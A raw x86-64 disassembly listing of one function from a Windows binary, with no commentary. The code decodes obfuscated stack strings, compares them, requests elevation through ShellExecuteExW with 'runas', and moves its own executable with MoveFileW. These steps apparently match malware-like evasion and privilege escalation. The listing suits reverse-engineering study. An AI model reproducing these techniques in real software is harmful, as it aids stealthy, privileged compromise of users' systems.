mov dword [rsp + 0x520], 0xa17d864a
mov dword [rsp + 0x524], 0x127470
mov word [rsp + 0x528], 0x4789
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], r12
lea r8, [rsp + 0x52a]
lea rdx, [rsp + 0x4c0]
lea rcx, [rsp + 0xf8]
call fcn.140007970
nop
mov dword [rsp + 0x2a0], 0xfc030018
mov dword [rsp + 0x2a4], 0x2bae2818
mov dword [rsp + 0x2a8], 0x2ba7ff2b
mov dword [rsp + 0x2ac], 0xdc47cea3
mov dword [rsp + 0x2b0], 0x4832e7f2
mov dword [rsp + 0x2b4], 0xeb83d8cd
mov dword [rsp + 0x2b8], 0x8c2e435
mov dword [rsp + 0x2bc], 0x9f2c783
mov dword [rsp + 0x2c0], 0x7b3850c7
mov dword [rsp + 0x2c4], 0x51f657df
mov dword [rsp + 0x2c8], 0xa92017e
mov dword [rsp + 0x2cc], 0x90410091
mov dword [rsp + 0x2d0], 0x819de8c6
mov dword [rsp + 0x2d4], 0xb7ce1e01
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], r12
lea r8, [rsp + 0x2d8]
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xe0]
call fcn.140007970
nop
lea rdx, [rsp + 0x1b8]
lea rcx, [rsp + 0x860]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x780]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x840]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x820]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x800]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x960]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x8e0]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x980]
call fcn.1400031f0
nop
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x920]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x900]
call fcn.1400031f0
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x940]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x880]
call fcn.1400031f0
nop
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x8a0]
call fcn.1400031f0
nop
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x8c0]
call fcn.1400031f0
nop
lea rdx, [rsp + 0x820]
cmp qword [rsp + 0x838], 8
cmovae rdx, qword [rsp + 0x820]
lea rcx, [rsp + 0x840]
cmp qword [rsp + 0x858], 8
cmovae rcx, qword [rsp + 0x840]
call fcn.140004220
lea rdx, [rsp + 0x960]
cmp qword [rsp + 0x978], 8
cmovae rdx, qword [rsp + 0x960]
lea rcx, [rsp + 0x800]
cmp qword [rsp + 0x818], 8
cmovae rcx, qword [rsp + 0x800]
call fcn.140004220
lea rdx, [rsp + 0x980]
cmp qword [rsp + 0x998], 8
cmovae rdx, qword [rsp + 0x980]
lea rcx, [rsp + 0x8e0]
cmp qword [rsp + 0x8f8], 8
cmovae rcx, qword [rsp + 0x8e0]
call fcn.140004220
lea rdx, [rsp + 0x900]
cmp qword [rsp + 0x918], 8
cmovae rdx, qword [rsp + 0x900]
lea rcx, [rsp + 0x920]
cmp qword [rsp + 0x938], 8
cmovae rcx, qword [rsp + 0x920]
call fcn.140004220
lea rdx, [rsp + 0x880]
cmp qword [rsp + 0x898], 8
cmovae rdx, qword [rsp + 0x880]
lea rcx, [rsp + 0x940]
cmp qword [rsp + 0x958], 8
cmovae rcx, qword [rsp + 0x940]
call fcn.140004220
lea rdx, [rsp + 0x8c0]
cmp qword [rsp + 0x8d8], 8
cmovae rdx, qword [rsp + 0x8c0]
lea rcx, [rsp + 0x8a0]
cmp qword [rsp + 0x8b8], 8
cmovae rcx, qword [rsp + 0x8a0]
call fcn.140004220
lea rdx, [rsp + 0x780]
cmp qword [rsp + 0x798], 8
cmovae rdx, qword [rsp + 0x780]
lea rcx, [rsp + 0x860]
cmp qword [rsp + 0x878], 8
cmovae rcx, qword [rsp + 0x860]
call fcn.140004220
test al, al
je 0x14000606f
lea rbx, [rsp + 0x780]
cmp qword [rsp + 0x798], 8
cmovae rbx, qword [rsp + 0x780]
mov dword [rsp + 0x230], 0x70
xor edx, edx
lea r8d, [rdx + 0x6c]
lea rcx, [rsp + 0x234]
call fcn.140032df0
lea rax, str.runas
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], rbx
mov dword [rsp + 0x260], 1
lea rcx, [rsp + 0x230]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov r8d, 0x104
lea rdx, [rsp + 0x1000]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x7c0]
call fcn.140003ec0
nop
mov qword [rsp + 0x770], r12
mov qword [rsp + 0x778], 7
mov word [rsp + 0x760], r12w
lea rax, [rsp + 0x1000]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400060c0
lea rdx, [rsp + 0x1000]
lea rcx, [rsp + 0x760]
call fcn.140001fd0
nop
lea rsi, [rsp + 0x760]
mov r14, qword [rsp + 0x760]
mov r15, qword [rsp + 0x778]
cmp r15, 8
cmovae rsi, r14
mov r13, qword [rsp + 0x770]
test r13, r13
je 0x1400062ee
mov ebx, pe_nt_image_headers64
mov r8d, ebx
xor edx, edx
lea rcx, [rsp + 0xaa0]
call fcn.140032df0
lea rcx, [0x14006deec]
lea rdx, [0x14006def0]
movzx eax, word [rcx]
cmp ax, bx
jae 0x140006191
movzx eax, al
mov byte [rsp + rax + 0xaa0], 1
add rcx, 2
cmp rcx, rdx
jne 0x140006137
lea rax, [r13 - 1]
cmp rax, 0xffffffffffffffff
cmovb rdi, rax
lea rdi, [rsi + rdi*2]
movzx eax, word [rdi]
cmp ax, bx
jae 0x14000617c
movzx eax, ax
cmp byte [rsp + rax + 0xaa0], 0
je 0x14000617c
mov al, 1
jmp 0x14000617e
xor al, al
test al, al
jne 0x1400061dd
cmp rdi, rsi
je 0x1400062ee
sub rdi, 2
jmp 0x140006163
lea rcx, [r13 - 1]
mov rax, rdi
cmp rcx, rdi
cmovb rax, rcx
lea rbx, [rsi + rax*2]
nop dword [rax]
nop word [rax + rax]
mov ecx, 2
lea rax, [0x14006deec]
movzx edx, word [rbx]
nop
cmp word [rax], dx
je 0x1400061da
add rax, 2
sub rcx, 1
jne 0x1400061c0
cmp rbx, rsi
je 0x1400061e3
sub rbx, 2
jmp 0x1400061b0
mov rdi, rbx
sub rdi, rsi
sar rdi, 1
cmp rdi, 0xffffffffffffffff
je 0x1400062ee
mov qword [rsp + 0xa00], r12
mov qword [rsp + 0xa08], 7
mov word [rsp + 0x9f0], r12w
lea r8, [rdi + 1]
cmp r13, r8
cmovb r8, r13
lea rdx, [rsp + 0x760]
cmp r15, 8
cmovae rdx, r14
lea rcx, [rsp + 0x9f0]
call fcn.140001fd0
nop
lea rdx, [rsp + 0x7c0]
cmp qword [rsp + 0x7d8], 8
cmovae rdx, qword [rsp + 0x7c0]
mov r8, qword [rsp + 0x7d0]
lea rcx, [rsp + 0x9f0]
call fcn.140008080
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
lea rcx, [rsp + 0x760]
call fcn.140001de0
movups xmmword [rsp + 0x760], xmm6
movups xmmword [rsp + 0x770], xmm7
mov rdx, qword [rsp + 0xa08]
cmp rdx, 8
jb 0x1400062de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x9f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e79
call fcn.140030d20
mov r14, qword [rsp + 0x760]
mov r15, qword [rsp + 0x778]
lea rdx, [rsp + 0x760]
cmp r15, 8
cmovae rdx, r14
lea rcx, [rsp + 0x1000]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140006e7f
mov rdx, qword [rsp + 0x778]
cmp rdx, 8
jb 0x14000635c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006357
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e85
call fcn.140030d20
mov qword [rsp + 0x770], r12
mov qword [rsp + 0x778], 7
mov word [rsp + 0x760], r12w
mov rdx, qword [rsp + 0x7d8]
cmp rdx, 8
jb 0x1400063c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x7c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e8b
call fcn.140030d20
mov qword [rsp + 0x7d0], r12
mov qword [rsp + 0x7d8], 7
mov word [rsp + 0x7c0], r12w
mov rdx, qword [rsp + 0x8d8]
cmp rdx, 8
jb 0x140006426
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006421
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e91
call fcn.140030d20
mov qword [rsp + 0x8d0], r12
mov qword [rsp + 0x8d8], 7
mov word [rsp + 0x8c0], r12w
mov rdx, qword [rsp + 0x8b8]
cmp rdx, 8
jb 0x14000648b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006486
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e97
call fcn.140030d20
mov qword [rsp + 0x8b0], r12
mov qword [rsp + 0x8b8], 7
mov word [rsp + 0x8a0], r12w
mov rdx, qword [rsp + 0x898]
cmp rdx, 8
jb 0x1400064f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x880]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e9d
call fcn.140030d20
mov qword [rsp + 0x890], r12
mov qword [rsp + 0x898], 7
mov word [rsp + 0x880], r12w
mov rdx, qword [rsp + 0x958]
cmp rdx, 8
jb 0x140006555
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x940]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ea3
call fcn.140030d20
mov qword [rsp + 0x950], r12
mov qword [rsp + 0x958], 7
mov word [rsp + 0x940], r12w
mov rdx, qword [rsp + 0x918]
cmp rdx, 8
jb 0x1400065ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x900]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ea9
call fcn.140030d20
mov qword [rsp + 0x910], r12
mov qword [rsp + 0x918], 7
mov word [rsp + 0x900], r12w
mov rdx, qword [rsp + 0x938]
cmp rdx, 8
jb 0x14000661f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x920]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000661a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eaf
call fcn.140030d20
mov qword [rsp + 0x930], r12
mov qword [rsp + 0x938], 7
mov word [rsp + 0x920], r12w
mov rdx, qword [rsp + 0x998]
cmp rdx, 8
jb 0x140006684
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x980]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000667f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eb5
call fcn.140030d20
mov qword [rsp + 0x990], r12
mov qword [rsp + 0x998], 7
mov word [rsp + 0x980], r12w
mov rdx, qword [rsp + 0x8f8]
cmp rdx, 8
jb 0x1400066e9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ebb
call fcn.140030d20
mov qword [rsp + 0x8f0], r12
mov qword [rsp + 0x8f8], 7
mov word [rsp + 0x8e0], r12w
mov rdx, qword [rsp + 0x978]
cmp rdx, 8
jb 0x14000674e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x960]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006749
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ec1
call fcn.140030d20
mov qword [rsp + 0x970], r12
mov qword [rsp + 0x978], 7
mov word [rsp + 0x960], r12w
mov rdx, qword [rsp + 0x818]
cmp rdx, 8
jb 0x1400067b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x800]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ec7
call fcn.140030d20
mov qword [rsp + 0x810], r12
mov qword [rsp + 0x818], 7
mov word [rsp + 0x800], r12w
mov rdx, qword [rsp + 0x838]
cmp rdx, 8
jb 0x140006818
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x820]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006813
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ecd
call fcn.140030d20
mov qword [rsp + 0x830], r12
mov qword [rsp + 0x838], 7
mov word [rsp + 0x820], r12w
mov rdx, qword [rsp + 0x858]
cmp rdx, 8
jb 0x14000687d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006878
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ed3
call fcn.140030d20
mov qword [rsp + 0x850], r12
mov qword [rsp + 0x858], 7
mov word [rsp + 0x840], r12w
mov rdx, qword [rsp + 0x798]
cmp rdx, 8
jb 0x1400068e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ed9
call fcn.140030d20
mov qword [rsp + 0x790], r12
mov qword [rsp + 0x798], 7
mov word [rsp + 0x780], r12w
mov rdx, qword [rsp + 0x878]
cmp rdx, 8
jb 0x140006947
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006942
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006edf
call fcn.140030d20
mov qword [rsp + 0x870], r12
mov qword [rsp + 0x878], 7
mov word [rsp + 0x860], r12w
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400069a7
mov rdx, qword [rsp + 0xf0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ee5
call fcn.140030d20
nop
mov rcx, qword [rsp + 0xf8]
test rcx, rcx
je 0x1400069ea
mov rdx, qword [rsp + 0x108]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400069e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eeb
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140006a2d
mov rdx, qword [rsp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ef1
call fcn.140030d20
nop
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140006a70
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ef7
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140006ab3
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006aad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006efd
call fcn.140030d20
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140006af6
mov rdx, qword [rsp + 0xd8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006af0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f03
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x140006b39
mov rdx, qword [rsp + 0x120]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f09
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x140006b7c
mov rdx, qword [rsp + 0x138]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f0f
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x140006bbf
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f15
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x140006c02
mov rdx, qword [rsp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f1b
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x170]
test rcx, rcx
je 0x140006c45
mov rdx, qword [rsp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f21
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x188]
test rcx, rcx
je 0x140006c88
mov rdx, qword [rsp + 0x198]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f27
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x1a0]
test rcx, rcx
je 0x140006ccb
mov rdx, qword [rsp + 0x1b0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f2d
call fcn.140030d20
nop
mov rcx, qword [rsp + 0x1b8]
test rcx, rcx
je 0x140006d0e
mov rdx, qword [rsp + 0x1c8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f33
call fcn.140030d20
nop
mov rdx, qword [rsp + 0x7f8]
cmp rdx, 8
jb 0x140006d56
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x7e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f39
call fcn.140030d20
mov eax, 1
mov rcx, qword [rsp + 0x1218]
xor rcx, rsp
call fcn.140030cc0
lea r11, [rsp + 0x1240]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov rdx, qword [rsp + 0x7f8]
cmp rdx, 8
jb 0x140006e2e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x7e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006f45
call fcn.140030d20
mov eax, edi
jmp 0x140006d5b
call fcn.140003410
int3
call fcn.140003410
int3
call fcn.14003523c
int3
call fcn.140003410
int3
call fcn.140003410
int3
call fcn.14003523c
int3
mov rcx, rbx
call fcn.140030d20
call fcn.140003410
int3
call fcn.14003523c
int3
call fcn.140003410
int3
call fcn.140003410
nop
call fcn.14003523c
nop
call fcn.140003410
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
nop
call fcn.14003523c
int3
call fcn.14003523c
int3